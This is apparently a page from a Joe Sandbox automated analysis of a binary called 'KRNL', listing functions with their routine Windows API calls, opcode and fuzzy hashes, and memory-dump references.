Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be433b8706279428a230e0bab54746ab2c457702d4221f02d54a625234491247
Instruction ID: 18fae3829320677e7c757cdf1ad6cfc252f4ff919e55ae1fc74f6588c39437d7
Opcode Fuzzy Hash: be433b8706279428a230e0bab54746ab2c457702d4221f02d54a625234491247
Instruction Fuzzy Hash: AD41B231A0125AAFCB14DF69C8949EEB7BAFF18310B544069E402E7780E731F955DB90

Function 006ECB40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195648ee03f901e4bb2308761a8e81a369c4064c27545fad280009de945f649a
Instruction ID: fed9328187b43f84450a3fa6b3cfc9f05eed19b14dc5d775bd78015324e4fd91
Opcode Fuzzy Hash: 195648ee03f901e4bb2308761a8e81a369c4064c27545fad280009de945f649a
Instruction Fuzzy Hash: B731A57290135AAFCB04CF69D8949EDB7BABF09330B24426AE515E3390E731F945CB90

Function 006EB060 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 006EAFC4: GetModuleHandleExW.KERNEL32(00000002,00000000,006E8A2A,?,?,006EAF87,006E8A2A,?,006EAF58,006E8A2A,?,?,?), ref: 006EAFD0

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,AB1687B8,?,?,?,Function_0002BE94,000000FF), ref: 006EB0C7

Part of subcall function 006EAEFA: std::_Throw_Cpp_error.LIBCPMT ref: 006EAF1B

Part of subcall function 006EEFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,006E8E4A,006EA2F0), ref: 006EEFE7

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: 6f8d09bf14bf78d0080f430f1551d341a3d603698602b6a9709ad00edad1cb47
Instruction ID: 5776a58ec47a686e510e7026b3abeadd951e08d94b06d5a3dbf1affce1193980
Opcode Fuzzy Hash: 6f8d09bf14bf78d0080f430f1551d341a3d603698602b6a9709ad00edad1cb47
Instruction Fuzzy Hash: 0211083260178197CB256B6ADC11AAE77A7EB40B30F14841EF4119B7D0DB39F800CA5D

Function 006FCFD6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8a213f58c9f77bdccfe9b822b1dedc6726edb08a12a592a492df5f920c21a0
Instruction ID: 207fd71e75b8dbb90d5d2ddab558da24ba0b0f770407f275b6651fdebc204a45
Opcode Fuzzy Hash: ca8a213f58c9f77bdccfe9b822b1dedc6726edb08a12a592a492df5f920c21a0
Instruction Fuzzy Hash: AB01B53321022DAF9B168F6CEC42DB63367BBD4760B25C125FA14971D4DF31E8029798

Function 006ECB32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 96a6538addf4564e78c5d26393b0647f342f818839c202494ba64e53a08901f5
Instruction ID: 66660ba0bf8e10886c9b14ff7c9f74354ea694ccfb8713580da69d79b42cd78b
Opcode Fuzzy Hash: 96a6538addf4564e78c5d26393b0647f342f818839c202494ba64e53a08901f5
Instruction Fuzzy Hash: DC0144B760A3C65ECB459B7EF92A6E8BB22FF96334B3041AFD111846C1DB129857C700

Function 006E7770 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 006E77C6

Part of subcall function 006EAF64: CloseThreadpoolWork.KERNEL32(?,00000000,?,006E78DA,00000000), ref: 006EAF72

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: f191cef12bd4acb898397c314ee240495c49e0f562f65fae248f65560a91a530
Instruction ID: 23590ce9b480d5ff72bedd608b51aefe5b82b06fd0bb07d4f19f367cbe1af399
Opcode Fuzzy Hash: f191cef12bd4acb898397c314ee240495c49e0f562f65fae248f65560a91a530
Instruction Fuzzy Hash: 44018BB1C003499BCB00EF88DC0579EBBB4FB44720F004239E8096B340E339AA41CBD2

Function 006FBF11 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,006FDF35,?,?,006FDF35,00000220,?,00000000,?), ref: 006FBF43

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 09119fd15b54bad78d59d7b767e4f2d2ce205d5f10919fa2cfd2db501a6af5d6
Instruction ID: 5e399d5e231a650f0ec5a33978bf23f531aa2b9bd9dbe3e285bc4ff450a2ce8a
Opcode Fuzzy Hash: 09119fd15b54bad78d59d7b767e4f2d2ce205d5f10919fa2cfd2db501a6af5d6
Instruction Fuzzy Hash: FAE0653120756DA6DA212A69ED01BFA364AAF417B0F155161EF5D962D0DB20DC00C9A9

Function 006E98F0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 006E990F

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6619770378216d3df83a9974e88a90e62222697532cf1a149cc2af2a5e6ba051
Instruction ID: 1d78761b8fd9142918270acd56c53ae44c0001f1e4c8f63f328d5d34c192012e
Opcode Fuzzy Hash: 6619770378216d3df83a9974e88a90e62222697532cf1a149cc2af2a5e6ba051
Instruction Fuzzy Hash: 80D05E397021644B87147B2DA8188AE6362AFC872035A846DE940D7386C728EC428680

Non-executed Functions

Function 00701287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0070138F
IsValidCodePage.KERNEL32(00000000), ref: 007013CD
IsValidLocale.KERNEL32(?,00000001), ref: 007013E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00701428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00701443

Strings

,Kq, xrefs: 0070133C

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,Kq
API String ID: 415426439-4204376562
Opcode ID: d8cea7d7afdb3925fa323ab02ecbb2c04eca52e343b7ffc1241e56b00816ce74
Instruction ID: 8742ae4081815cfe086529e807c8d4fe040462c643a15d035f11897888423dd3
Opcode Fuzzy Hash: d8cea7d7afdb3925fa323ab02ecbb2c04eca52e343b7ffc1241e56b00816ce74
Instruction Fuzzy Hash: 06514EB1A00209EBDB10DFA5DC45ABEB7F8BF45700F958669F901E71D0E7789A408B61

Function 00707792 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 007079A9

Strings

1#INF, xrefs: 007078C8
1#QNAN, xrefs: 007078A5
1#IND, xrefs: 00707897
1#SNAN, xrefs: 0070789E

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 144d49f1a4418681aa83cd4e3c99419f7e23af40b258b9ac570496c8eedcf0eb
Instruction ID: cf9c2b692fa4256e051d64561d26d851e4790d5f76afb2cd7ad430101c6fc11c
Opcode Fuzzy Hash: 144d49f1a4418681aa83cd4e3c99419f7e23af40b258b9ac570496c8eedcf0eb
Instruction Fuzzy Hash: FED21871E08229CFDB65CE28CD447EAB7F5EB44305F1442EAD44DA7281EB78AE858F41

Function 00701A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,007013BD,00000002,00000000,?,?,?,007013BD,?,00000000), ref: 00701AA0
GetLocaleInfoW.KERNEL32(?,20001004,007013BD,00000002,00000000,?,?,?,007013BD,?,00000000), ref: 00701AC9
GetACP.KERNEL32(?,?,007013BD,?,00000000), ref: 00701ADE

Strings

OCP, xrefs: 00701A5B
ACP, xrefs: 00701A25

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c5571135d027d6747782e181728e057ce2e3614bac7e1ea0d3e9794a7d1657ad
Instruction ID: 3caf728f46d057cb60f71af56788e373c4dbfaf0e9ebf429d7a3d06cf04c9499
Opcode Fuzzy Hash: c5571135d027d6747782e181728e057ce2e3614bac7e1ea0d3e9794a7d1657ad
Instruction Fuzzy Hash: 112186A2B02100EADB34CF58C900AD772EAEB54B54BD6C664E90AD7184F73ADD40C390

Function 006F9CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 24fc032901f1b22d41496aaac67efc380e69dd7f29fb06294d7f9bb03791442a
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: D8022CB1E012199BDF14CFA8D880BEEB7B2FF49314F258269D619E7341D731AA41CB94

Function 00701FE9 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 007020D9
FindNextFileW.KERNEL32(00000000,?), ref: 007021CD
FindClose.KERNEL32(00000000), ref: 0070220C
FindClose.KERNEL32(00000000), ref: 0070223F

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 66c6c54dcd45d088b54bc4d7a1f11033e1a42bb17f1b240b4133cf501d63b5f7
Instruction ID: 53b1c9723cd79afb3acb04f43122748ecbfddf754818e62590f5e0b48ed497e6
Opcode Fuzzy Hash: 66c6c54dcd45d088b54bc4d7a1f11033e1a42bb17f1b240b4133cf501d63b5f7
Instruction Fuzzy Hash: E971057290515CEEDF21AF24DC8DAFAB7F9AB05300F1442D9E14893292DB385E868F14

Function 006EF8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006EF8F5
IsDebuggerPresent.KERNEL32 ref: 006EF9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006EF9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 006EF9E4

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b299b3d757efe673f12bd403e1ad15226acc2a1572084422503a80d4b76149c3
Instruction ID: 5632d1c138e7a82584e457cfc60b87353c65b2defacd1043c6c2c13a66e8f8c9
Opcode Fuzzy Hash: b299b3d757efe673f12bd403e1ad15226acc2a1572084422503a80d4b76149c3
Instruction Fuzzy Hash: C331F6B5D013199BDF61DFA5D9497CDBBB8AF08300F1081AAE44CAB290EB759A848F45

Function 00701580 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(?,?,006F5495,00718E38,0000000C), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000), ref: 006FC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007015D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0070161E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007016E4

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 2a57365d508e0a625dccfef43f6cc9f0f385dd136e30e49041e6a73b3810ddcb
Instruction ID: 144c3b1e139f25d2f2823486c82294d876f545970ea23867542f84ea87d34527
Opcode Fuzzy Hash: 2a57365d508e0a625dccfef43f6cc9f0f385dd136e30e49041e6a73b3810ddcb
Instruction Fuzzy Hash: 07619E7161020BDBDB28DF28CD82BBA77E8EF15710F9482B9E905C65C5EB39D980DB50

Function 006F7E30 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 006F7F28
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 006F7F32
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 006F7F3F

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 597348b2a7ec5c153dfb790e72049e72050435f2a332065372f27e35e04f6b58
Instruction ID: f316c810be47ef556895d33ad8eec26b6817ad2adc8c459a982e5db5656fc8aa
Opcode Fuzzy Hash: 597348b2a7ec5c153dfb790e72049e72050435f2a332065372f27e35e04f6b58
Instruction Fuzzy Hash: 1531E27490121CABCB61DF68DC897DDBBB8AF08310F5081EAE50CA7290E7309F858F45

Function 006F00B4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 006F00EC
GetSystemTimeAsFileTime.KERNEL32(?,AB1687B8,006E8E30,?,0070BE77,000000FF,?,006EFDB4,?,00000000,00000000,?,006EFDD8,?,006E8E30,?), ref: 006F00F0

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 4071d08461a8de892d955975e745dbf54534398c103a066e06e59c1032259a44
Instruction ID: 9a32ca1685dfd01a9c26d124f1bd3f334d18b012f34f0b3e5cd0a3598f338de4
Opcode Fuzzy Hash: 4071d08461a8de892d955975e745dbf54534398c103a066e06e59c1032259a44
Instruction Fuzzy Hash: 0CF06C72644658EFC7019F48DC05FED77ADF708B10F01812AE912977D0DB396900DB88

Function 006F3FB2 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 006F4136
